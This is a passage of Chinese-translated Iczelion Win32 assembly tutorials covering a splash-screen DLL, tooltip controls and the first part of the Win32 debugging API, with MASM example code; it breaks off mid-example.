sub eax,DlgHeight
shr eax,1
push eax
mov eax,DesktopRect.right
sub eax,DlgWidth
shr eax,1
push eax
push hWnd
call MoveWindow

它先找到桌面和窗口的大小. 然后,计算出一个窗口左上角的坐标. 使这个窗口能位于屏幕中央.

invoke LoadBitmap,hInstance,addr BitmapName
mov hBitMap,eax
invoke SetTimer,hWnd,1,2000,NULL
mov TimerID,eax

下一步,它用 LoadBitmap 从资源中读入位图并且创建一个定时器.定时器的 ID 为 1 时间间隔为 2 秒. 定时器 将每 2 秒 向窗口发送 WM_TIMER 消息.

.elseif uMsg==WM_PAINT
invoke BeginPaint,hWnd,addr ps
mov hdc,eax
invoke CreateCompatibleDC,hdc
mov hMemoryDC,eax
invoke SelectObject,eax,hBitMap
mov hOldBmp,eax
invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
invoke StretchBlt,hdc,0,0,250,250,\
hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
invoke SelectObject,hMemoryDC,hOldBmp
invoke DeleteDC,hMemoryDC
invoke EndPaint,hWnd,addr ps

当窗口收到 WM_PAINT 消息, 它创建一个内存DC(Pheadnius:还记得DC吗. 在win32编程中你会经常遇到DC这个词. 它是 Device Context 的缩写, 官方译为"设备描述表". 如果你研究过vc, 你应该对它不陌生. 不过如果你不明白它是什么 也不要紧. 你可以把它看作一个句柄. 就是某个设备或某块内存的名称.),然后把位图选进内存DC. 再用 GetObject 函数获得 位图的尺寸, 然后用 StretchBlt 把位图显示在窗口上. StretchBlt的作用和 BitBlt 一样,但它可以拉伸或压缩位图到我们 希望的大小. 在这里我们希望位图能适合窗口的大小,所以我们 StretchBlt 代替 BitBlt. 之后我们删除内存DC.

.elseif uMsg==WM_LBUTTONDOWN
invoke DestroyWindow,hWnd

如果你的程序的使用者每次都要看到启动画面消失才能用, 他们一定会厌烦. 我们可以为用户提供多一种选择. 当他单击启动画面, 它就会消失. 这就是为什么我们要在DLL里处理 WM_LBUTTONDOWN 消息. 收到这个消息后立即就用 DestroyWindow 关掉窗口.

.elseif uMsg==WM_TIMER
invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
invoke KillTimer,hWnd,TimerID

如果用户选择等待, 那么启动画面会在定时器到了指定的时间后消失. (在本例中, 是 2 秒). 我们可以通过处理 WM_TIMER 消息达到这一目的. 在收到这一消息后,我们可以对窗口传送 WM_LBUTTONDOWN 消息来关掉窗口. 这是为了避免 代码重复. 现在, 我们不再需要这个定时器了,所以我们用 KillTimer 删除它.
窗口关闭后,DLL 把控制权还给主程序.

这篇文章来自于 Iczelion 的 asm 网页,本章由Pheadnius为大家翻译. Welcom to http://asm.yeah.net


Iczelion 的 Win32asm 教程

第27课 工具提示控件

我们将学习工具提示控件:它是什么如何创建和使用.下载例子

理论:

工具提示是当鼠标在某特定区域上停留时显示的一个矩形窗口.工具提示窗口包含一些编程者想要显示的文本.在这点上,工具提示同状态栏的作用是一样的,所不同的是工具提示当单击或者远离指定区域的时候就会消逝,你可能熟悉与工具栏相关联的工具提示,那些"提示"是工具栏控件提供的便利.如果你想要在其它窗口、控件中显示工具提示的话,就不得不自己创建他们.

既然已经了解了什么是工具提示,就让我们来看看如何创建他们.大致步骤如下:

  1. 用CreateWindowEx函数创建工具提示控件.
  2. 定义一个工具提示控件将要监视鼠标移动的区域.
  3. 将区域传递给工具提示控件
  4. 将传递区域的鼠标消息转送给工具提示控件.(这步或许更早,具体依据转播消息的方法)
下面我们就来详细的讨论每一步.

工具提示控件的创建

工具提示控件是一种通用控件.同样,要在源代码某处调用InitCommonControls以便MASM能够将你的程序和comctl32.dll连接. 用CreateWindowEx创建工具提示控件,典型代码如下:
.data
TooltipClassName db "Tooltips_class32",0
.code
.....
invoke InitCommonControls
invoke CreateWindowEx, NULL, addr TooltipClassName, NULL, TIS_ALWAYSTIP, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL
注意窗口风格:TIS_ALWAYSTIP指定了工具提示不管包含指定区域的窗口状态如何,当鼠标移过指定区域的时候,工具提示总是显示.简单的说就是,即使窗口处于非激活状态,鼠标移过工具提示指定区域的时候,工具提示也会出现.
你不必在CreateWindowEx中包括WS_POPUP 和 WS_EX_TOOLWINDOW风格,因为工具提示处理过程会自动加上,你也不必指定工具提示窗口的坐标和宽高,控件会依据要显示的文字自动调节.四个参数,均使用CW_USEDEFAULT ,其余的参数都不太重要.

指定工具

工具提示控件创建了但还没有显示,我们想要当鼠标指针在某个区域之上时显示工具提示窗口.现在需要指定这个区域.我们称这样的区域为"工具",“工具”就是工具提示控件监视鼠标指针是否移过的位于窗口客户区的一个方形区域.如果鼠标指针移过"工具",工具提示窗口就显示."工具"可覆盖整个客户区或者仅仅是它的一部分.因此我们把"工具"分成两种类型,一种是作为一个窗口,另一种则是某窗口客户区的一部分.两种各有所用.覆盖整个客户区的"工具"通常用于按钮、编辑控件等,你不必指定焦点域的坐标和大小:它被假定为窗口的整个客户区.仅覆盖窗口客户区一部分的"工具"在你想把窗口客户区分成几个部分但又不想使用子窗口时特别有用,但需要指定左上角的坐标和宽高.

使用如下的 TOOLINFO 结构定义"工具":

TOOLINFO STRUCT
cbSize DWORD ?
uFlags DWORD ?
hWnd DWORD ?
uId DWORD ?
rect RECT <>
hInst DWORD ?
lpszText DWORD ?
lParam LPARAM ?
TOOLINFO ENDS
域名 | 说明
cbSize | TOOLINFO结构的大小.必须填充, 如果这个区域不被正确填充Windows并不会报错,但你会得到不可预料的奇怪结果.
uFlags 指定焦点域的属性,可以是如下标志的联合:
  • TTF_IDISHWND "ID is hWnd".如果你指定了这个标志,就意味着你要使用覆盖整个客户区的"工具" (上面第一种"工具"). 如果你使用了这个标志,你必须用你要使用的窗口句柄填充uId成员,如果你不指定这个成员,就意味着你要使用第二种"工具"、客户区窗口的一方形区域.在这种情况下,你就必须以方形区域的大小填充rect成员.
  • TTF_CENTERTIP 通常工具提示窗口显示在鼠标的右下方,如果你指定了这个标志,不管鼠标的位置如何,工具提示总显示在焦点域总的中下方.
  • TTF_RTLREADING .如果你的程序不是为阿拉伯或者希伯来语系统设计的,你完全可以不理它,它使得提示文本以从右至左的顺序显示,在其它系统中无效.
  • TTF_SUBCLASS 如果你使用了这个标志,工具提示控件将子类化"工具"所在窗口以便截取发送给它的的鼠标消息,这个标志非常有用,否则你将不得不做更多的工作来向工具提示控件转发消息.
hWnd 包含"工具"的窗口句柄,如果你指定了TTF_IDISHWND标志,Windows将忽略该值,而使用uId成员的值作为窗口句柄.你需要填充这个域域如果:
  • 你不使用 TTF_IDISHWND标志 (换句话说,你使用局部"工具")
  • 你在 lpszText 成员中指定了LPSTR_TEXTCALLBACK .这个值告诉工具提示控件当需要显示提示窗口时,必须向包含"工具"的窗口查询应该显示什么. 这是一种实时的控件文本更新.如果你需要动态改变提示文本,你应当在 lpszText成员中指定LPSTR_TEXTCALLBACK值,控件就会向hWnd指定的窗口发送TTN_NEEDTEXT 消息.
uId 这个域的值可能有两种含义,依 uFlags 是否包含TTF_IDISHWND.
  • 如果TTF_IDISHWND标志没有被指定就代表应用程序定义的"工具"ID,由于这意味着你使用仅覆盖客户区一部分的"工具",逻辑的推出一个客户区可能存在多个同样的焦点域(不存在交迭),Hwnd成员的一个窗口句柄就不够了,应用程序定义ID以区分他们因此而显得必要,只要唯一ID可以是任何值.
  • 如果TTF_IDISHWND标志被指定就表示整个客户区都作为焦点域的窗口句柄,你或许会奇怪为什么不用上面提到的hWnd成员的值来储存窗口句柄.答案是:如果lpszText指定为LPSTR_TEXTCALLBACK,Hwnd 可能已经被填充了.还有提供提示文本的窗口和包含"工具"的窗口可能不是同一个!(你可以设计一个提供两种服务的窗口程序,但太严格了,在这点上,微软为我们提供了更大的自由,欢呼吧!)
rect | 指定"工具"大小的rect结构.这个结构定义了一个以hWnd指定窗口客户区左上角为基点的方形大小,简言之,如果你想指定客户区的一部分作为"工具"就得填充这个结构,如果你指定了TTF_IDISHWND标志 ,控件就会忽略这个值.(你已经选择整个客户区作为"工具")
hInst | 如果lpszText指定了字符串资源的标识,包含将作为工具提文本字符串资源的实例句柄.听起来有点费解,阅读一下lpszText的说明就可以明白这个域是干什么用的了.若lpszText不包含字符串资源标识,控件会忽略这个域.
lpszText 这个域可以有如下几个值:
  • 如果指定为LPSTR_TEXTCALLBACK, 工具提示控件就会向HWnd窗口发送TTN_NEEDTEXT消息以获得将要显示的字符串.提示文本的动态更新方法:每次显示提示窗口都改变提示文本.
  • 如果在这个域中指定字符串资源标识,当控件要在提示窗口中显示提示文本时,就搜索hInst成员标识的实例的字符串资源列表.由于字符串资源列表标识总是16位值,这个域的高字节将永远为0,这种方法在你想移植程序时非常有用,由于字符串资源以脚本形式定义,你不必修改源代码.只需要修改字符串列表提示文本就会相应改变,而不必担心引进bugs.
  • 如果这个域的值不是LPSTR_TEXTCALLBACK并且高字节不为零, 控件截取这个值作为提示文本的指针,这是最简单的方法但也最不稳定.通过检查高字节区分字符串资源标识.

总言之,你需要将TOOLINFO结构传递给工具提示控件之前填充填充好,它描述了你期望的"工具"属性.

向工具提示控件注册"工具"

填充完TOOLINFO结构后, 必须将其传递给控件 . 一个工具提示控件可以控制很多"工具",因此不必为一个窗口创建很多控件,为了注册"工具",向控件发送TTM_ADDTOOL消息 wParam不使用,lParam必须包含要注册的TOOLINFO结构的指针
.data?
ti TOOLINFO <>
.......
.code
.......
<fill the TOOLINFO structure>
.......
invoke SendMessage, hwndTooltip, TTM_ADDTOOL, NULL, addr ti
成功返回 TRUE,否则返回 FALSE.
发送 TTM_DELTOOL消息取消注册.

向工具提示控件转发鼠标消息

以上步骤完毕之后,控件知道了应当监视那一块区域和应该在提示窗口显示什么.唯一缺乏的就是激发机制. 想想看:"工具"指定的其它窗口的客户区的区域.控件如何截取发送向该窗口的消息呢?实际中需要截取消息以便了解鼠标停留了多长时间,当指定时间流逝以后,控件显示提示窗口.有两种方法: 一种需要包含"工具"窗口的合作,另一种则不需要.
  • 包含"工具"的窗口必须向控件发送 TTM_RELAYEVENT 以转发消息. lParam是指向要转发消息MSG的指针 控件仅处理如下鼠标消息 :
    • WM_LBUTTONDOWN
    • WM_MOUSEMOVE
    • WM_LBUTTONUP
    • WM_RBUTTONDOWN
    • WM_MBUTTONDOWN
    • WM_RBUTTONUP
    • WM_MBUTTONUP
    其它消息全被忽略,因此包含"工具"的窗口的处理过程必须包含像这样的选择:

    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .......
    if uMsg==WM_CREATE
    .............
    elseif uMsg==WM_LBUTTONDOWN || uMsg==WM_MOUSEMOVE || uMsg==WM_LBUTTONUP || uMsg==WM_RBUTTONDOWN || uMsg==WM_MBUTTONDOWN || uMsg==WM_RBUTTONUP || uMsg==WM_MBUTTONUP
    invoke SendMessage, hwndTooltip, TTM_RELAYEVENT, NULL, addr msg
    ..........

  • .你可以在TOOLINFO结构的uFlags成员指定 TTF_SUBCLASS标志。此标志告诉控件子类化包含"工具"的窗口以便无需窗口的协作便可捕获鼠标消息。由于除了控件自己处理截获的鼠标消息和指定TTF_SUBCLASS标志之外不用编写多余的代码，因此很易于使用。
就是这些了,到这步为止,控件已经全功能了.还有几个你应当知道的相关消息.
  • TTM_ACTIVATE.如果你想动态的允许或者禁止工具提示控件,这个小消息就是为你而备.wParam值为TRUE,允许控件.若为FALSE,禁止控件.控件初始创建的时候无需发送消息激活他,便被自动设为允许状态.
  • TTM_GETTOOLINFO and TTM_SETTOOLINFO. 如果你想在把TOOLINFO结构传递给控件之后获得或者改变其值,使用此消息.你需要用正确的uId and hWnd值指定要改变的"工具".如果你只想改变rect成员的值,使用TTM_NEWTOOLRECT 消息,如果仅想改变提示文本,使用TTM_UPDATETIPTEXT消息.
  • TTM_SETDELAYTIME. 使用此消息指定控件显示提示文本时的时间延迟.

例子:

例子是一个有两个按钮的对话框,对话框的客户区分为4部分:左上、右上、左下、右下.每个区域都指定为有自己提示文本的"工具",两个按钮也有自己的提示文本.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
EnumChild proto :DWORD,:DWORD
SetDlgToolArea proto :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
.const
IDD_MAINDIALOG equ 101
.data
ToolTipsClassName db "Tooltips_class32",0
MainDialogText1 db "This is the upper left area of the dialog",0
MainDialogText2 db "This is the upper right area of the dialog",0
MainDialogText3 db "This is the lower left area of the dialog",0
MainDialogText4 db "This is the lower right area of the dialog",0
.data?
hwndTool dd ?
hInstance dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDIALOG,NULL,addr DlgProc,NULL
invoke ExitProcess,eax

DlgProc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL ti:TOOLINFO
LOCAL id:DWORD
LOCAL rect:RECT
.if uMsg==WM_INITDIALOG
invoke InitCommonControls
invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
TTS_ALWAYSTIP,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInstance,NULL
mov hwndTool,eax
mov id,0
mov ti.cbSize,sizeof TOOLINFO
mov ti.uFlags,TTF_SUBCLASS
push hDlg
pop ti.hWnd
invoke GetWindowRect,hDlg,addr rect
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText2,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText3,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText4,id,addr rect
invoke EnumChildWindows,hDlg,addr EnumChild,addr ti

.elseif uMsg==WM_CLOSE
invoke EndDialog,hDlg,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp

EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
LOCAL buffer[256]:BYTE
mov edi,lParam
assume edi:ptr TOOLINFO
push hwndChild
pop [edi].uId
or [edi].uFlags,TTF_IDISHWND
invoke GetWindowText,hwndChild,addr buffer,255
lea eax,buffer
mov [edi].lpszText,eax
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
assume edi:nothing
ret
EnumChild endp

SetDlgToolArea proc uses edi esi hDlg:DWORD,lpti:DWORD,lpText:DWORD,id:DWORD,lprect:DWORD
mov edi,lpti
mov esi,lprect
assume esi:ptr RECT
assume edi:ptr TOOLINFO
.if id==0
mov [edi].rect.left,0
mov [edi].rect.top,0
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
mov [edi].rect.bottom,eax
.elseif id==1
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
inc eax
mov [edi].rect.left,eax
mov [edi].rect.top,0
mov eax,[esi].right
sub eax,[esi].left
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.elseif id==2
mov [edi].rect.left,0
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
inc eax
mov [edi].rect.top,eax
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.else
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
inc eax
mov [edi].rect.left,eax
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
inc eax
mov [edi].rect.top,eax
mov eax,[esi].right
sub eax,[esi].left
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.endif
push lpText
pop [edi].lpszText
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti
assume edi:nothing
assume esi:nothing
ret
SetDlgToolArea endp

end start

分析:

创建主对话框窗口之后,使用CreateWindowEx创建工具提示控件.

invoke InitCommonControls
invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
TTS_ALWAYSTIP,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInstance,NULL
mov hwndTool,eax

之后,我们继续定义对话框四个角作为焦点域.

mov id,0 ; 焦点域ID
mov ti.cbSize,sizeof TOOLINFO
mov ti.uFlags,TTF_SUBCLASS ; 告诉控件子类化窗口.
push hDlg
pop ti.hWnd ; 包含焦点域的窗口句柄
invoke GetWindowRect,hDlg,addr rect ; 获得客户区的大小
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect

我们初始化TOOLINFO结构. 注意我们要把客户区分成4个焦点域,因此我们需要知道客户区的大小,所以调用GetWindowRect.因为我们不想自己向控件转发消息,因此指定TIF_SUBCLASS 标志.
SetDlgToolArea 是计算焦点域矩形范围的并向控件注册的函数,我不详细解释计算过程.只说明它把对话框分成4个焦点域.然后向控件发送TTM_ADDTOOL 消息, 在lParam参数中传递TOOLINFO结构的地址.

invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti

在四个控件注册之后,我们来看看对话框的按钮,我们可以用ID来处理每个按钮,但是实在太乏味了.我们使用EnumChildWindows函数列举对话框上的所有控件并把他们注册给控件,EnumChildWindows原型如下:

EnumChildWindows proto hWnd:DWORD, lpEnumFunc:DWORD, lParam:DWORD

hWnd 是父窗口句柄.

lpEnumFunc 是每个控件将调用的EnumChildProc函数地址.lParam 是应用程序定义的要传给EnumChildProc 函数的值. EnumChildProc 函数定义如下:

EnumChildProc proto hwndChild:DWORD, lParam:DWORD
hwndChild是EnumChildWindows函数枚举的句柄. lParam 就是你传递给EnumChildWindows函数的同一个lParam.
在例子中.我们如此调用 EnumChildWindows 函数:
invoke EnumChildWindows,hDlg,addr EnumChild,addr ti
我们把TOOLINFO结构的地址放在lParam参数中传递,是因为我们要在EnumChild函数中注册每个子控件.如果我们不使用这种方法,就需要将ti声明为全局变量,但这可能会引入很多bug.
当我们调用 EnumChildWindows时, Windows会枚举出对话框上所有的子控件并为每个子控件调用一次EnumChild f函数. 这样如果我们的对话框有两个控件,EnumChild将被调用两次.
EnumChild 函数填充TOOLINFO 结构的相应成员并向控件注册.
EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
LOCAL buffer[256]:BYTE
mov edi,lParam
assume edi:ptr TOOLINFO
push hwndChild
pop [edi].uId ; we use the whole client area of the control as the tool
or [edi].uFlags,TTF_IDISHWND
invoke GetWindowText,hwndChild,addr buffer,255
lea eax,buffer ; use the window text as the tooltip text
mov [edi].lpszText,eax
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
assume edi:nothing
ret
EnumChild endp
注意在例子中,我们使用了一种不同"工具":覆盖整个客户区的"工具",因此我们需要用包含"工具"窗口的句柄来填充uID成员,也必须在uFlags 成员中指定TTF_IDISHWND标志.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net/


Iczelion 的 Win32asm 教程

第二十八课: Win32调试API 第一部分

在本教程中,我们将学习Win32提供给开发者的用于调试的原语. 在教程的结尾,我们将学习如何调试一个进程.
下载 例子程序.

理论:

Win32有一些供程序员使用的API,它们提供相当于调试器的功能. 他们被称作Win32调试API(或原语).利用这些API,我们可以:

  • 加载一个程序或捆绑到一个正在运行的程序上以供调试
  • 获得被调试的程序的低层信息,例如进程ID,进入地址,映像基址等.
  • 当发生与调试有关的事件时被通知,例如进程/线程的开始/结束, DLL的加载/释放等.
  • 修改被调试的进程或线程

简而言之,我们可以用这些API写一个简单的调试器.由于这个题目有些过大,我把它分为几部分,而本教程就是它的第一部分.在本教程中,我将讲解一些基本概念及Win32调试API的大致框架.
使用Win32调试API的步骤如下:

  1. 创建一个进程或捆绑到一个运行中的进程上. 这是使用Win32调试API的第一步.由于我们的程序要扮演调试器的角色,我们要找一个供调试的程序.一个被调试的程序被称为debuggee.可以通过以下两种方式获得debuggee:
    • 通过CreateProcess创建debuggee进程.为了创建被调试的进程,必须指定DEBUG_PROCESS标志.这一标志告诉Windows我们要调试该进程. 当debuggee中发生重要的与调试有关的事件(调试事件)时,Windows 会向我们的程序发送通知.debuggee会立即挂起以等待我们的程序准备好.如果debuggee还创建了子进程,Windows还会为每个子进程中的调试事件向我们的程序发送通知.这一特性通常是不必要的.我们可以通过指定DEBUG_ONLY_THIS_PROCESS与 DEBUG_PROCESS的组合标志来禁止它.
    • 我们也可以用 DebugActiveProcess标志捆绑到一个运行中的进程上.
  2. 等待调试事件. 在获得了一个debuggee进程后,debuggee的主线程被挂起,这种状况将持续到我们的程序调用WaitForDebugEvent为止.这个函数和其他的WaitForXXX函数相似,比如说,它阻塞调用线程直到等待的事件发生.对这个函数来说, 它等待由Windows发送的调试事件.下面是它的定义:

    WaitForDebugEvent proto lpDebugEvent:DWORD, dwMilliseconds:DWORD

    lpDebugEvent is the address of a DEBUG_EVENT这个结构将被填入关于debuggee中发生的调试事件的信息.

    dwMilliseconds 该函数等待调试事件的时间,以毫秒为单位.如果这段时间没有调试事件发生, WaitForDebugEvent返回调用者.另一方面,如果将该参数指定为 INFINITE 常数,函数将一直等待直到调试事件发生.

    现在我们看一下DEBUG_EVENT 结构.

    DEBUG_EVENT STRUCT
    dwDebugEventCode dd ?
    dwProcessId dd ?
    dwThreadId dd ?
    u DEBUGSTRUCT <>
    DEBUG_EVENT ENDS

    dwDebugEventCode 该值指定了等待发生的调试事件的类型.因为有很多种类型的事件发生,我们的程序要检查该值,知道要发生事件的类型并做出响应. 该值可能的取值如下:

    3. 取值 | 含义
CREATE_PROCESS_DEBUG_EVENT | 进程被创建.当debuggee进程刚被创建(还未运行) 或我们的程序刚以DebugActiveProcess被捆绑到一个运行中的进程时事件发生. 这是我们的程序应该获得的第一个事件.
EXIT_PROCESS_DEBUG_EVENT | 进程退出.
CREATE_THEAD_DEBUG_EVENT | 当一个新线程在deuggee进程中创建或我们的程序首次捆绑到运行中的进程时事件发生.要注意的是当debugge的主线程被创建时不会收到该通知.
EXIT_THREAD_DEBUG_EVENT | debuggee中的线程退出时事件发生.debugee的主线程退出时不会收到该通知.我们可以认为debuggee的主线程与debugge进程是同义词. 因此, 当我们的程序看到CREATE_PROCESS_DEBUG_EVENT标志时,对主线程来说,就是CREATE_THREAD_DEBUG_EVENT标志.
LOAD_DLL_DEBUG_EVENT | debuggee装入一个DLL.当PE装载器第一次分解指向DLL的链接时,我们将收到这一事件. (当调用CreateProcess装入 debuggee时)并且当debuggee调用LoadLibrary时也会发生.
UNLOAD_DLL_DEBUG_EVENT | 一个DLL从debuggee中卸载时事件发生.
EXCEPTION_DEBUG_EVENT | 在debuggee中发生异常时事件发生. 注意: 该事件仅在debuggee开始它的第一条指令之前发生一次.异常实际上是一个调试中断(int 3h).如果想恢复debuggee事,以 DBG_CONTINUE 标志调用ContinueDebugEvent 函数. 不要使用DBG_EXCEPTION_NOT_HANDLED 标志否则debuggee会在NT下拒绝运行(Win98下运行得很好).
OUTPUT_DEBUG_STRING_EVENT | 当debuggee调用DebugOutputString函数向我们的程序发送消息字符串时该事件发生.
RIP_EVENT | 系统调试发生错误

    dwProcessId 和dwThreadId发生调试事件的进程和线程Id.我们可以用这些值作为我们感兴趣的进程或线程的标志符.记住如果我们使用CreateProcess来装载debuggee,我们仍可在PROCESS_INFO结构中获得debuggee的进程和线程.我们可以用这些值来区别调试事件是发生在debuggee中还是它的子进程中(当没有指定 DEBUG_ONLY_THIS_PROCESS 标志时).

    u 是一个联合,包含了调试事件的更多信息.根据上面dwDebugEventCode的不同,它可以是以下结构:

    dwDebugEventCode | u的解释
CREATE_PROCESS_DEBUG_EVENT | 名为CreateProcessInfo的CREATE_PROCESS_DEBUG_INFO结构
EXIT_PROCESS_DEBUG_EVENT | 名为ExitProcess的EXIT_PROCESS_DEBUG_INFO结构
CREATE_THREAD_DEBUG_EVENT | 名为CreateThread的CREATE_THREAD_DEBUG_INFO结构
EXIT_THREAD_DEBUG_EVENT | 名为ExitThread的EXIT_THREAD_DEBUG_EVENT 结构
LOAD_DLL_DEBUG_EVENT | 名为LoadDll的LOAD_DLL_DEBUG_INFO 结构
UNLOAD_DLL_DEBUG_EVENT | 名为UnloadDll的UNLOAD_DLL_DEBUG_INFO结构
EXCEPTION_DEBUG_EVENT | 名为Exception的EXCEPTION_DEBUG_INFO结构
OUTPUT_DEBUG_STRING_EVENT | 名为DebugString的OUTPUT_DEBUG_STRING_INFO 结构
RIP_EVENT | 名为RipInfo的RIP_INFO 结构

    我不会在这一个教程里讲所有这些结构的细节,这里只详细讲一下CREATE_PROCESS_DEBUG_INFO 结构.
    假设我们的程序调用了WaitForDebugEvent函数并返回,我们要做的第一件事就是检查dwDebugEventCode中的值来看debuggee进程中发生了那种类型的调试事件.比如说,如果dwDebugEventCode的值为 CREATE_PROCESS_DEBUG_EVENT,就可认为u的成员为CreateProcessInfo 并用u.CreateProcessInfo来访问.

  3. 在我们的程序中做对调试事件的响应. 当WaitForDebugEvent 返回时,这意味着在debuggee进程中发生了调试事件或者发生了超时.所以我们的程序要检查dwDebugEventCode 来作出适当的反应.这里有些象处理Windows消息:由用户来选择和忽略消息.
  4. 继续运行debuggee. 当调试事件发生时, Windows挂起了debuggee,所以当我们处理完调试事件,还要让debuggee继续运行.调用ContinueDebugEvent 函数来完成这一过程.

    ContinueDebugEvent proto dwProcessId:DWORD, dwThreadId:DWORD, dwContinueStatus:DWORD

    该函数恢复由于调试事件而挂起的线程.
    dwProcessId和dwThreadId是要恢复的线程的进程ID和线程ID,通常这两个值从 DEBUG_EVENT结构的dwProcessId 和dwThreadId成员获得.
    dwContinueStatus显示了如何继续报告调试事件的线程.可能的取值有两个: DBG_CONTINUE 和DBG_EXCEPTION_NOT_HANDLED. 对大多数调试事件,这两个值都一样:恢复线程.唯一的例外是EXCEPTION_DEBUG_EVENT,如果线程报告发生了一个异常调试事件,这意味着在debuggee的线程中发生了一个异常.如果指定了DBG_CONTINUE,线程将忽略它自己的异常处理部分并继续执行.在这种情况下,我们的程序必须在以DBG_CONTINUE恢复线程之前检查并处理异常,否则异常将生生不息地不断发生....如果我们指定了 DBG_EXCEPTION_NOT_HANDLED值,就是告诉Windows我们的程序并不处理异常:Windows将使用debuggee的默认异常处理函数来处理异常.
    总而言之,如果我们的程序没有考虑异常,而调试事件又指向debuggee进程中的一个异常的话,就应调用含DBG_CONTINUE标志的ContinueDebugEvent函数.否则,我们的程序就必须以DBG_EXCEPTION_NOT_HANDLED调用 ContinueDebugEvent.但在下面这种情况下必须使用DBG_CONTINUE标志:第一个在ExceptionCode成员中有值EXCEPTION_BREAKPOINT的 EXCEPTION_DEBUG_EVENT事件.当debuggee开始执行它的第一条指令时,我们的函数将接受到异常调试事件.它事实上是一个调试中断(int 3h).如果我们以DBG_EXCEPTION_NOT_HANDLED调用ContinueDebugEvent 来响应调试事件, Windows NT会拒绝执行debuggee(因为它没有异常处理).所以在这种情况下,要用DBG_CONTINUE标志告诉Windows我们希望该线程继续执行.

  5. 继续上面的步骤循环直到debuggee进程退出. 我们的程序必须在一个很象消息循环的无限循环中直到debuggee结束.该循环大体如下:

    .while TRUE
    invoke WaitForDebugEvent, addr DebugEvent, INFINITE
    .break .if DebugEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
    <调试事件处理>
    invoke ContinueDebugEvent, DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
    .endw

    就是说,当开始调试程序时,我们的程序不能和debuggee分开直到它结束.

我们再来总结一下这些步骤:

  1. 创建一个进程或捆绑我们的程序到运行中的进程上.
  2. 等待调试事件
  3. 响应调试事件.
  4. 继续执行debuggee.
  5. 继续这一无尽循环直到debuggee进程结束

例子:

这个例子调试一个win32程序并显示诸如进程句柄,进程Id,映象基址等.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
.data
AppName db "Win32 Debug Example no.1",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0
NewThread db "A new thread is created",0
EndThread db "A thread is destroyed",0
ProcessInfo db "File Handle: %lx ",0dh,0Ah
db "Process Handle: %lx",0Dh,0Ah
db "Thread Handle: %lx",0Dh,0Ah
db "Image Base: %lx",0Dh,0Ah
db "Start Address: %lx",0
.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
.code
start:
mov ofn.lStructSize,sizeof ofn
mov ofn.lpstrFilter, offset FilterString
mov ofn.lpstrFile, offset buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
